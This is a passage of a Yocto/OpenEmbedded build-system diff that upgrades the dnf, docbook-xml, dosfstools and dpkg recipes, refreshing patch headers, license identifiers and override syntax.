+++ b/dnf/cli/completion_helper.py.in
@@ -1,4 +1,4 @@
@@ -19,6 +19,3 @@ index 351226759..2835cd3b6 100644
#
# This file is part of dnf.
#
---
-2.23.0
-
diff --git a/meta/recipes-devtools/dnf/dnf/0005-Do-not-prepend-installroot-to-logdir.patch b/meta/recipes-devtools/dnf/dnf/0005-Do-not-prepend-installroot-to-logdir.patch
index aa20009cef..cfbda11f77 100644
--- a/meta/recipes-devtools/dnf/dnf/0005-Do-not-prepend-installroot-to-logdir.patch
+++ b/meta/recipes-devtools/dnf/dnf/0005-Do-not-prepend-installroot-to-logdir.patch
@@ -1,7 +1,7 @@
-From 6365389074a1b86962f3d8b22a2ead2202026a98 Mon Sep 17 00:00:00 2001
+From c6d03b51e2098fc681e6811790bd5dc6597091eb Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Wed, 11 Jan 2017 15:10:13 +0200
-Subject: [PATCH 5/5] Do not prepend installroot to logdir.
+Subject: [PATCH] Do not prepend installroot to logdir.
This would otherwise write the logs into rootfs/var/log
(whereas we want them in $T),
@@ -14,10 +14,10 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/dnf/cli/cli.py b/dnf/cli/cli.py
-index d2d9c082..82270ecf 100644
+index 1824bd00..4dcb1c1c 100644
--- a/dnf/cli/cli.py
+++ b/dnf/cli/cli.py
-@@ -920,7 +920,7 @@ class Cli(object):
+@@ -944,7 +944,7 @@ class Cli(object):
logger.warning(_("Unable to detect release version (use '--releasever' to specify "
"release version)"))
@@ -26,6 +26,3 @@ index d2d9c082..82270ecf 100644
conf.prepend_installroot(opt)
self.base._logging._setup_from_dnf_conf(conf)
---
-2.14.2
-
diff --git a/meta/recipes-devtools/dnf/dnf/0029-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch b/meta/recipes-devtools/dnf/dnf/0029-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
index 0ed9afc58d..64ea7874d3 100644
--- a/meta/recipes-devtools/dnf/dnf/0029-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
+++ b/meta/recipes-devtools/dnf/dnf/0029-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
@@ -1,25 +1,24 @@
-From 6be13143a54c79085d400d5bd4c7a6e1cb6ffaf5 Mon Sep 17 00:00:00 2001
+From d5b154ea69afdcd862299a0b7f255f6ece3686c6 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 30 Dec 2016 18:29:07 +0200
Subject: [PATCH] Do not set PYTHON_INSTALL_DIR by running python
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
---
CMakeLists.txt | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/CMakeLists.txt b/CMakeLists.txt
-index 38cf4fbf..6c5debd8 100644
+index 9e2e9e9e..2056089d 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -19,7 +19,7 @@ ELSE ()
MESSAGE (FATAL_ERROR "Invalid PYTHON_DESIRED value: " ${PYTHON_DESIRED})
ENDIF()
--EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from distutils import sysconfig; stdout.write(sysconfig.get_python_lib())" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
-+#EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from distutils import sysconfig; stdout.write(sysconfig.get_python_lib())" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
+-EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from sysconfig import get_path; stdout.write(get_path('purelib'))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
++#EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from sysconfig import get_path; stdout.write(get_path('purelib'))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
MESSAGE(STATUS "Python install dir is ${PYTHON_INSTALL_DIR}")
ADD_SUBDIRECTORY (dnf)
diff --git a/meta/recipes-devtools/dnf/dnf/0030-Run-python-scripts-using-env.patch b/meta/recipes-devtools/dnf/dnf/0030-Run-python-scripts-using-env.patch
index eedbb5723f..eb46113f3a 100644
--- a/meta/recipes-devtools/dnf/dnf/0030-Run-python-scripts-using-env.patch
+++ b/meta/recipes-devtools/dnf/dnf/0030-Run-python-scripts-using-env.patch
@@ -1,20 +1,19 @@
-From 8d97b72a1d77149e2f9048d1ca6cef66da1a8aa5 Mon Sep 17 00:00:00 2001
+From d3556767b84f3687743fdad0a88af0739d736ea9 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 30 Dec 2016 18:29:37 +0200
-Subject: [PATCH 2/5] Run python scripts using env
+Subject: [PATCH] Run python scripts using env
Otherwise the build tools hardcode the python path into them.
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
---
bin/dnf-automatic.in | 2 +-
bin/dnf.in | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/bin/dnf-automatic.in b/bin/dnf-automatic.in
-index 5b06aa26..891b4c24 100755
+index 17e35a05..28827e38 100755
--- a/bin/dnf-automatic.in
+++ b/bin/dnf-automatic.in
@@ -1,4 +1,4 @@
@@ -24,7 +23,7 @@ index 5b06aa26..891b4c24 100755
#
# Copyright (C) 2014-2016 Red Hat, Inc.
diff --git a/bin/dnf.in b/bin/dnf.in
-index 645d0f06..bdf7b3c4 100755
+index 55ceb3f2..e38973c7 100755
--- a/bin/dnf.in
+++ b/bin/dnf.in
@@ -1,4 +1,4 @@
@@ -33,6 +32,3 @@ index 645d0f06..bdf7b3c4 100755
# The dnf executable script.
#
# Copyright (C) 2012-2016 Red Hat, Inc.
---
-2.14.2
-
diff --git a/meta/recipes-devtools/dnf/dnf_4.19.2.bb b/meta/recipes-devtools/dnf/dnf_4.19.2.bb
new file mode 100644
index 0000000000..cc91dbe400
--- /dev/null
+++ b/meta/recipes-devtools/dnf/dnf_4.19.2.bb
@@ -0,0 +1,97 @@
+SUMMARY = "Package manager forked from Yum, using libsolv as a dependency resolver"
+DESCRIPTION = "Software package manager that installs, updates, and removes \
+packages on RPM-based Linux distributions. It automatically computes \
+dependencies and determines the actions required to install packages."
+HOMEPAGE = "https://github.com/rpm-software-management/dnf"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://PACKAGE-LICENSING;md5=4a0548e303dbc77f067335b4d688e745 \
+ "
+
+SRC_URI = "git://github.com/rpm-software-management/dnf.git;branch=master;protocol=https \
+ file://0001-Corretly-install-tmpfiles.d-configuration.patch \
+ file://0001-Do-not-hardcode-etc-and-systemd-unit-directories.patch \
+ file://0005-Do-not-prepend-installroot-to-logdir.patch \
+ file://0029-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch \
+ file://0030-Run-python-scripts-using-env.patch \
+ file://0001-set-python-path-for-completion_helper.patch \
+ file://0001-lock.py-fix-Exception-handling.patch \
+ "
+
+SRC_URI:append:class-native = "file://0001-dnf-write-the-log-lock-to-root.patch"
+
+SRCREV = "9b2b2e8ddab99caba4bc8059cab4263163172e81"
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
+
+S = "${WORKDIR}/git"
+
+inherit cmake gettext bash-completion setuptools3-base systemd
+
+DEPENDS += "libdnf librepo libcomps python3-iniparse"
+
+# manpages generation requires http://www.sphinx-doc.org/
+EXTRA_OECMAKE = " -DWITH_MAN=0 -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} -DPYTHON_DESIRED=3"
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN} += " \
+ python3-core \
+ python3-codecs \
+ python3-netclient \
+ python3-email \
+ python3-threading \
+ python3-logging \
+ python3-fcntl \
+ librepo \
+ python3-shell \
+ libcomps \
+ libdnf \
+ python3-sqlite3 \
+ python3-compression \
+ python3-rpm \
+ python3-iniparse \
+ python3-json \
+ python3-curses \
+ python3-misc \
+ "
+
+RDEPENDS:${PN}:class-native = ""
+
+RRECOMMENDS:${PN}:class-target += "gnupg"
+
+# Create a symlink called 'dnf' as 'make install' does not do it, but
+# .spec file in dnf source tree does (and then Fedora and dnf documentation
+# says that dnf binary is plain 'dnf').
+do_install:append() {
+ ln -rs ${D}/${bindir}/dnf-3 ${D}/${bindir}/dnf
+ ln -rs ${D}/${bindir}/dnf-automatic-3 ${D}/${bindir}/dnf-automatic
+}
+
+# Direct dnf-native to read rpm configuration from our sysroot, not the one it was compiled in
+do_install:append:class-native() {
+ create_wrapper ${D}/${bindir}/dnf \
+ RPM_CONFIGDIR=${STAGING_LIBDIR_NATIVE}/rpm \
+ RPM_NO_CHROOT_FOR_SCRIPTS=1
+}
+
+do_install:append:class-nativesdk() {
+ create_wrapper ${D}/${bindir}/dnf \
+ RPM_CONFIGDIR=${SDKPATHNATIVE}${libdir_nativesdk}/rpm \
+ RPM_NO_CHROOT_FOR_SCRIPTS=1
+}
+
+SYSTEMD_SERVICE:${PN} = "dnf-makecache.service dnf-makecache.timer \
+ dnf-automatic.service dnf-automatic.timer \
+ dnf-automatic-download.service dnf-automatic-download.timer \
+ dnf-automatic-install.service dnf-automatic-install.timer \
+ dnf-automatic-notifyonly.service dnf-automatic-notifyonly.timer \
+"
+SYSTEMD_AUTO_ENABLE ?= "disable"
+
+SKIP_RECIPE[dnf] ?= "${@bb.utils.contains('PACKAGE_CLASSES', 'package_rpm', '', 'does not build without package_rpm in PACKAGE_CLASSES due disabled rpm support in libsolv', d)}"
+
+# Packages for testing purposes
+PACKAGES += "${PN}-test-main ${PN}-test-dep"
+ALLOW_EMPTY:${PN}-test-main = "1"
+ALLOW_EMPTY:${PN}-test-dep = "1"
+RRECOMMENDS:${PN}-test-main = "${PN}-test-dep"
diff --git a/meta/recipes-devtools/dnf/dnf_4.2.23.bb b/meta/recipes-devtools/dnf/dnf_4.2.23.bb
deleted file mode 100644
index 8cfd4d0c89..0000000000
--- a/meta/recipes-devtools/dnf/dnf_4.2.23.bb
+++ /dev/null
@@ -1,90 +0,0 @@
-SUMMARY = "Package manager forked from Yum, using libsolv as a dependency resolver"
-DESCRIPTION = "Software package manager that installs, updates, and removes \
-packages on RPM-based Linux distributions. It automatically computes \
-dependencies and determines the actions required to install packages."
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://PACKAGE-LICENSING;md5=4a0548e303dbc77f067335b4d688e745 \
- "
-
-SRC_URI = "git://github.com/rpm-software-management/dnf.git \
- file://0001-Corretly-install-tmpfiles.d-configuration.patch \
- file://0001-Do-not-hardcode-etc-and-systemd-unit-directories.patch \
- file://0005-Do-not-prepend-installroot-to-logdir.patch \
- file://0029-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch \
- file://0030-Run-python-scripts-using-env.patch \
- file://0001-set-python-path-for-completion_helper.patch \
- file://0001-dnf-write-the-log-lock-to-root.patch \
- "
-
-SRCREV = "126d861812f827285960592359615ed7cb195aac"
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
-
-S = "${WORKDIR}/git"
-
-inherit cmake gettext bash-completion distutils3-base systemd
-
-DEPENDS += "libdnf librepo libcomps python3-iniparse"
-
-# manpages generation requires http://www.sphinx-doc.org/
-EXTRA_OECMAKE = " -DWITH_MAN=0 -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} -DPYTHON_DESIRED=3"
-
-BBCLASSEXTEND = "native nativesdk"
-
-RDEPENDS_${PN} += " \
- python3-core \
- python3-codecs \
- python3-netclient \
- python3-email \
- python3-threading \
- python3-distutils \
- python3-logging \
- python3-fcntl \
- librepo \
- python3-shell \
- libcomps \
- libdnf \
- python3-sqlite3 \
- python3-compression \
- python3-rpm \
- python3-iniparse \
- python3-json \
- python3-curses \
- python3-misc \
- python3-gpg \
- "
-
-RDEPENDS_${PN}_class-native = ""
-
-RRECOMMENDS_${PN}_class-target += "gnupg"
-
-# Create a symlink called 'dnf' as 'make install' does not do it, but
-# .spec file in dnf source tree does (and then Fedora and dnf documentation
-# says that dnf binary is plain 'dnf').
-do_install_append() {
- lnr ${D}/${bindir}/dnf-3 ${D}/${bindir}/dnf
- lnr ${D}/${bindir}/dnf-automatic-3 ${D}/${bindir}/dnf-automatic
-}
-
-# Direct dnf-native to read rpm configuration from our sysroot, not the one it was compiled in
-do_install_append_class-native() {
- create_wrapper ${D}/${bindir}/dnf \
- RPM_CONFIGDIR=${STAGING_LIBDIR_NATIVE}/rpm \
- RPM_NO_CHROOT_FOR_SCRIPTS=1
-}
-
-do_install_append_class-nativesdk() {
- create_wrapper ${D}/${bindir}/dnf \
- RPM_CONFIGDIR=${SDKPATHNATIVE}${libdir_nativesdk}/rpm \
- RPM_NO_CHROOT_FOR_SCRIPTS=1
-}
-
-SYSTEMD_SERVICE_${PN} = "dnf-makecache.service dnf-makecache.timer \
- dnf-automatic.service dnf-automatic.timer \
- dnf-automatic-download.service dnf-automatic-download.timer \
- dnf-automatic-install.service dnf-automatic-install.timer \
- dnf-automatic-notifyonly.service dnf-automatic-notifyonly.timer \
-"
-SYSTEMD_AUTO_ENABLE ?= "disable"
-
-PNBLACKLIST[dnf] ?= "${@bb.utils.contains('PACKAGE_CLASSES', 'package_rpm', '', 'does not build without package_rpm in PACKAGE_CLASSES due disabled rpm support in libsolv', d)}"
diff --git a/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4/docbook-xml-update-catalog.xml.patch b/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4/docbook-xml-update-catalog.xml.patch
index 59703609ca..1f3364900c 100644
--- a/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4/docbook-xml-update-catalog.xml.patch
+++ b/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4/docbook-xml-update-catalog.xml.patch
@@ -1,97 +1,12 @@
+21/3/2023: modified to remove 4.0
+
docbook-xml: update catalog.xml
Refer Ubuntu 13.04 to update catalog.xml
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [docbook 4.x development has ceased, docbook 5 is entirely different]
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- docbook-4.0/catalog.xml | 72 +++++++++++++++++++++++++++++++++++++++++++++++
- docbook-4.1.2/catalog.xml | 66 +++++++++++++++++++++++++++++++++++++++++++
- docbook-4.2/catalog.xml | 69 ++++++---------------------------------------
- docbook-4.3/catalog.xml | 72 ++++++++---------------------------------------
- docbook-4.4/catalog.xml | 63 ++---------------------------------------
- docbook-4.5/catalog.xml | 63 ++---------------------------------------
- 6 files changed, 165 insertions(+), 240 deletions(-)
- create mode 100644 docbook-4.0/catalog.xml
- create mode 100644 docbook-4.1.2/catalog.xml
-diff --git a/docbook-4.0/catalog.xml b/docbook-4.0/catalog.xml
-new file mode 100644
---- /dev/null
-+++ b/docbook-4.0/catalog.xml
-@@ -0,0 +1,72 @@
-+<?xml version='1.0'?>
-+<!DOCTYPE catalog PUBLIC "-//OASIS//DTD Entity Resolution XML Catalog V1.0//EN"
-+ "http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd">
-+
-+<catalog xmlns="urn:oasis:names:tc:entity:xmlns:xml:catalog">
-+
-+<!-- ...................................................................... -->
-+<!-- XML Catalog data for DocBook XML V4.0............................... -->
-+<!-- File catalog.xml ..................................................... -->
-+
-+<!-- Please direct all questions, bug reports, or suggestions for
-+ changes to the docbook@lists.oasis-open.org mailing list. For more
-+ information, see http://www.oasis-open.org/.
-+ -->
-+
-+<!-- This is the catalog data file for DocBook V4.0. It is provided as
-+ a convenience in building your own catalog files. You need not use
-+ the filenames listed here, and need not use the filename method of
-+ identifying storage objects at all. See the documentation for
-+ detailed information on the files associated with the DocBook DTD.
-+ See XML Catalogs at http://www.oasis-open.org/committees/entity/ for
-+ detailed information on supplying and using catalog data.
-+ -->
-+
-+<!-- ...................................................................... -->
-+<!-- DocBook driver file .................................................. -->
-+
-+<public publicId="-//Norman Walsh//DTD DocBk XML V4.0//EN"
-+ uri="docbookx.dtd"/>
-+
-+<!-- Other ways to refer to DocBook XML v4.0............................... -->
-+<public publicId="-//Norman Walsh//DTD DocBook XML V4.0//EN"
-+ uri="docbookx.dtd"/>
-+
-+<system systemId="http://www.oasis-open.org/docbook/xml/4.0/docbookx.dtd"
-+ uri="docbookx.dtd"/>
-+
-+<!-- ...................................................................... -->
-+<!-- DocBook modules ...................................................... -->
-+
-+<public publicId="-//Norman Walsh//ENTITIES DocBook XML Notations V4.0//EN"
-+ uri="dbnotnx.mod"/>
-+
-+<public publicId="-//Norman Walsh//ENTITIES DocBook XML Character Entities V4.0//EN"
-+ uri="dbcentx.mod"/>
-+
-+<public publicId="-//Norman Walsh//ELEMENTS DocBook XML Information Pool V4.0//EN"
-+ uri="dbpoolx.mod"/>
-+
-+<public publicId="-//Norman Walsh//ELEMENTS DocBook XML Document Hierarchy V4.0//EN"
-+ uri="dbhierx.mod"/>
-+
-+<public publicId="-//Norman Walsh//ENTITIES DocBook XML Additional General Entities V4.0//EN"
-+ uri="dbgenent.mod"/>
-+
-+<public publicId="-//Norman Walsh//DTD CALS Table Model XML V4.0//EN"
-+ uri="calstblx.dtd"/>
-+
-+<!-- UNOFFICIAL conversion of the exchange table model to XML, based on the OASIS Exchange -->
-+<!-- Table Model PUBLIC "-//SGML Open//DTD Exchange Table Model 19960430//EN" -->
-+<public publicId="-//Normal Walsh//Exchange Table Model 19960430 XML V4.0//EN"
-+ uri="soextblx.dtd"/>
-+
-+<!-- the following FPI is declared for the DTD inside the DTD, but we'll -->
-+<!-- use the version from the latest DocBook
-+<public publicId="-//OASIS//DTD XML Exchange Table Model 19990315//EN"
-+ uri="soextblx.dtd"/> -->
-+
-+<!-- End of catalog data for DocBook XML V4.0 ............................. -->
-+<!-- ...................................................................... -->
-+
-+</catalog>
diff --git a/docbook-4.1.2/catalog.xml b/docbook-4.1.2/catalog.xml
new file mode 100644
--- /dev/null
diff --git a/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4_4.5.bb b/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4_4.5.bb
index 6452c8d99f..e4b4201b1f 100644
--- a/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4_4.5.bb
+++ b/meta/recipes-devtools/docbook-xml/docbook-xml-dtd4_4.5.bb
@@ -1,30 +1,47 @@
SUMMARY = "Document type definitions for verification of XML data files"
DESCRIPTION = "Document type definitions for verification of XML data \
-files against the DocBook rule set, it ships with the latest DocBook 4.5 \
-XML DTD, as well as a selected set of legacy DTDs for use with older \
-documents, including 4.0, 4.1.2, 4.2, 4.3 and 4.4"
-HOMEPAGE = "http://www.docbook.org/xml/"
+files against the DocBook rule set."
+HOMEPAGE = "https://docbook.org"
+
+# The upstream sources are not distributed with a license file.
+# LICENSE-OASIS is included as a "patch" to workaround this. When
+# upgrading this recipe, please verify whether this is still needed.
LICENSE = "OASIS"
LIC_FILES_CHKSUM = "file://${WORKDIR}/LICENSE-OASIS;md5=c608985dd5f7f215e669e7639a0b1d2e"
-# Note: the upstream sources are not distributed with a license file.
-# LICENSE-OASIS is included as a "patch" to workaround this. When
-# upgrading this recipe, please verify whether this is still needed.
-SRC_URI = "http://snapshot.debian.org/archive/debian/20160728T043443Z/pool/main/d/docbook-xml/docbook-xml_${PV}.orig.tar.gz \
- file://LICENSE-OASIS \
- file://docbook-xml-update-catalog.xml.patch \
-"
+# To support apps with xml schema backward compatibility, we must
+# install a set of schemas. Install the latest based on PV and then
+# name any specific versions as required. TODO: Figure out a mechanism
+# to filter exactly which versions are necessary, if that's even
+# possible.
+#
+# DocBook.org lists available release packages at https://docbook.org/xml/.
+#
+# The release packages relate docbook source at
+# https://github.com/docbook/docbook but building them requires the
+# Gradle build system. In future, it might be safer to use the source
+# tree which would also enable proper SBOM generation through the
+# bitbake build system.
+#
-SRC_URI[md5sum] = "487b4d44e15cffb1f4048af23f98208e"
-SRC_URI[sha256sum] = "b0f8edcf697f5318e63dd98c9a931f3fee167af0805ba441db372e0f17b2a44f"
+SRC_URI = "https://docbook.org/xml/4.1.2/docbkx412.zip;name=payload412;subdir=docbook-4.1.2 \
+ https://docbook.org/xml/4.2/docbook-xml-4.2.zip;name=payload42;subdir=docbook-4.2 \
+ https://docbook.org/xml/4.3/docbook-xml-4.3.zip;name=payload43;subdir=docbook-4.3 \
+ https://docbook.org/xml/4.4/docbook-xml-4.4.zip;name=payload44;subdir=docbook-4.4 \
+ https://docbook.org/xml/${PV}/docbook-xml-${PV}.zip;name=payloadPV;subdir=docbook-${PV} \
+ file://docbook-xml-update-catalog.xml.patch \
+ file://LICENSE-OASIS"
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/d/docbook-xml/"
+SRC_URI[payload412.sha256sum] = "30f0644064e0ea71751438251940b1431f46acada814a062870f486c772e7772"
+SRC_URI[payload42.sha256sum] = "acc4601e4f97a196076b7e64b368d9248b07c7abf26b34a02cca40eeebe60fa2"
+SRC_URI[payload43.sha256sum] = "23068a94ea6fd484b004c5a73ec36a66aa47ea8f0d6b62cc1695931f5c143464"
+SRC_URI[payload44.sha256sum] = "02f159eb88c4254d95e831c51c144b1863b216d909b5ff45743a1ce6f5273090"
+SRC_URI[payloadPV.sha256sum] = "4e4e037a2b83c98c6c94818390d4bdd3f6e10f6ec62dd79188594e26190dc7b4"
-S = "${WORKDIR}/docbook-xml-4.5.c31424"
+UPSTREAM_CHECK_REGEX = "docbook-xml-(?P<pver>4(\.\d+)).zip"
-inherit allarch
-BBCLASSEXTEND = "native"
+S = "${WORKDIR}"
do_configure (){
:
@@ -38,15 +55,20 @@ do_install () {
install -d ${D}${sysconfdir}/xml/
xmlcatalog --create --noout ${D}${sysconfdir}/xml/docbook-xml.xml
- for DTDVERSION in 4.0 4.1.2 4.2 4.3 4.4 4.5; do
+ for DTDVERSION in 4.1.2 4.2 4.3 4.4 4.5; do
DEST=${datadir}/xml/docbook/schema/dtd/$DTDVERSION
install -d -m 755 ${D}$DEST
cp -v -R docbook-$DTDVERSION/* ${D}$DEST
- xmlcatalog --verbose --noout --add nextCatalog unused file://$DEST/catalog.xml ${D}${sysconfdir}/xml/docbook-xml.xml
+ xmlcatalog --verbose --noout --add nextCatalog unused \
+ file://$DEST/catalog.xml ${D}${sysconfdir}/xml/docbook-xml.xml
done
}
+# Magic environment variable is required for downstream recipe processing
XMLCATALOGS = "${sysconfdir}/xml/docbook-xml.xml"
inherit xmlcatalog
-FILES_${PN} = "${datadir}/* ${sysconfdir}/xml/docbook-xml.xml"
+FILES:${PN} = "${datadir}/* ${sysconfdir}/xml/docbook-xml.xml"
+
+inherit allarch
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/docbook-xml/docbook-xsl-stylesheets_1.79.1.bb b/meta/recipes-devtools/docbook-xml/docbook-xsl-stylesheets_1.79.1.bb
index c5d3a24808..beda0abe95 100644
--- a/meta/recipes-devtools/docbook-xml/docbook-xsl-stylesheets_1.79.1.bb
+++ b/meta/recipes-devtools/docbook-xml/docbook-xsl-stylesheets_1.79.1.bb
@@ -42,9 +42,9 @@ do_install () {
install -v -m644 README RELEASE-NOTES* NEWS* ${D}${docdir}/${BPN}
}
-RDEPENDS_${PN} += "perl"
-FILES_${PN} = "${datadir}/xml/* ${sysconfdir}/xml/docbook-xsl.xml"
-FILES_${PN}-doc = "${datadir}/doc/*"
+RDEPENDS:${PN} += "perl"
+FILES:${PN} = "${datadir}/xml/* ${sysconfdir}/xml/docbook-xsl.xml"
+FILES:${PN}-doc = "${datadir}/doc/*"
XMLCATALOGS = "${datadir}/xml/docbook/xsl-stylesheets-${PV}/catalog.xml"
diff --git a/meta/recipes-devtools/dosfstools/dosfstools_4.1.bb b/meta/recipes-devtools/dosfstools/dosfstools_4.1.bb
deleted file mode 100644
index 97ce449954..0000000000
--- a/meta/recipes-devtools/dosfstools/dosfstools_4.1.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-# dosfstools OE build file
-# Copyright (C) 2004-2006, Advanced Micro Devices, Inc. All Rights Reserved
-# Copyright (C) 2015, Sören Brinkmann <soeren.brinkmann@gmail> All Rights Reserved
-# Released under the MIT license (see packages/COPYING)
-SUMMARY = "DOS FAT Filesystem Utilities"
-HOMEPAGE = "https://github.com/dosfstools/dosfstools"
-
-SECTION = "base"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-SRC_URI = "https://github.com/dosfstools/dosfstools/releases/download/v${PV}/${BP}.tar.xz \
- "
-SRC_URI[md5sum] = "07a1050db1a898e9a2e03b0c4569c4bd"
-SRC_URI[sha256sum] = "e6b2aca70ccc3fe3687365009dd94a2e18e82b688ed4e260e04b7412471cc173"
-
-UPSTREAM_CHECK_URI = "https://github.com/dosfstools/dosfstools/releases"
-
-inherit autotools pkgconfig
-
-EXTRA_OECONF = "--without-udev --enable-compat-symlinks"
-
-CFLAGS += "-D_GNU_SOURCE -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64"
-
-BBCLASSEXTEND = "native nativesdk"
-
-# Add codepage437 to avoid error from `dosfsck -l`
-RRECOMMENDS_${PN}_append_libc-glibc = " glibc-gconv-ibm437"
diff --git a/meta/recipes-devtools/dosfstools/dosfstools_4.2.bb b/meta/recipes-devtools/dosfstools/dosfstools_4.2.bb
new file mode 100644
index 0000000000..47d81dac8d
--- /dev/null
+++ b/meta/recipes-devtools/dosfstools/dosfstools_4.2.bb
@@ -0,0 +1,26 @@
+# dosfstools OE build file
+# Copyright (C) 2004-2006, Advanced Micro Devices, Inc. All Rights Reserved
+# Copyright (C) 2015, Sören Brinkmann <soeren.brinkmann@gmail> All Rights Reserved
+# Released under the MIT license (see packages/COPYING)
+SUMMARY = "DOS FAT Filesystem Utilities"
+HOMEPAGE = "https://github.com/dosfstools/dosfstools"
+
+SECTION = "base"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/${BP}.tar.gz \
+ "
+SRC_URI[sha256sum] = "64926eebf90092dca21b14259a5301b7b98e7b1943e8a201c7d726084809b527"
+
+inherit autotools gettext pkgconfig update-alternatives github-releases
+
+EXTRA_OECONF = "--enable-compat-symlinks --without-iconv"
+
+CFLAGS += "-D_GNU_SOURCE -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64"
+
+BBCLASSEXTEND = "native nativesdk"
+
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "mkfs.vfat"
+ALTERNATIVE_LINK_NAME[mkfs.vfat] = "${sbindir}/mkfs.vfat"
diff --git a/meta/recipes-devtools/dpkg/dpkg.inc b/meta/recipes-devtools/dpkg/dpkg.inc
index 04fe85c4a8..4c1d42e0af 100644
--- a/meta/recipes-devtools/dpkg/dpkg.inc
+++ b/meta/recipes-devtools/dpkg/dpkg.inc
@@ -1,20 +1,22 @@
SUMMARY = "Package maintenance system from Debian"
-LICENSE = "GPLv2.0+"
+LICENSE = "GPL-2.0-or-later"
+HOMEPAGE = "https://salsa.debian.org/dpkg-team/dpkg"
+DESCRIPTION = "The primary interface for the dpkg suite is the dselect program. A more low-level and less user-friendly interface is available in the form of the dpkg command."
SECTION = "base"
-DEPENDS = "zlib bzip2 perl ncurses"
-DEPENDS_class-native = "bzip2-replacement-native zlib-native virtual/update-alternatives-native gettext-native perl-native"
-RDEPENDS_${PN} = "${VIRTUAL-RUNTIME_update-alternatives} perl"
-RDEPENDS_${PN}_class-native = ""
+DEPENDS = "zlib bzip2 perl ncurses libmd"
+DEPENDS:class-native = "bzip2-replacement-native zlib-native virtual/update-alternatives-native gettext-native perl-native libmd-native"
+RDEPENDS:${PN} = "${VIRTUAL-RUNTIME_update-alternatives} perl"
+RDEPENDS:${PN}:class-native = ""
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))"
-inherit autotools gettext perlnative pkgconfig perl-version update-alternatives
+inherit autotools gettext perlnative pkgconfig perl-version update-alternatives bash-completion
-PERL_class-native = "${STAGING_BINDIR_NATIVE}/perl-native/perl"
+PERL:class-native = "${STAGING_BINDIR_NATIVE}/perl-native/perl"
-export PERL_LIBDIR = "${libdir}/perl/${@get_perl_version(d)}"
-PERL_LIBDIR_class-native = "${libdir}/perl-native/perl/${@get_perl_version(d)}"
+export PERL_LIBDIR = "${libdir}/perl5/${@get_perl_version(d)}"
+PERL_LIBDIR:class-native = "${libdir}/perl-native/perl/${@get_perl_version(d)}"
EXTRA_OECONF = "\
--disable-dselect \
@@ -25,7 +27,8 @@ EXTRA_OECONF = "\
TAR=tar \
"
-EXTRA_OECONF_append_class-target = " --disable-update-alternatives DEB_HOST_ARCH=${DPKG_ARCH}"
+EXTRA_OECONF:append:class-target = " --disable-update-alternatives DEB_HOST_ARCH=${DPKG_ARCH}"
+EXTRA_OECONF:append:class-nativesdk = " --disable-update-alternatives DEB_HOST_ARCH=${DPKG_ARCH}"
PACKAGECONFIG = "liblzma"
PACKAGECONFIG[liblzma] = "--with-liblzma,--without-liblzma, xz"
@@ -34,7 +37,7 @@ PACKAGECONFIG[liblzma] = "--with-liblzma,--without-liblzma, xz"
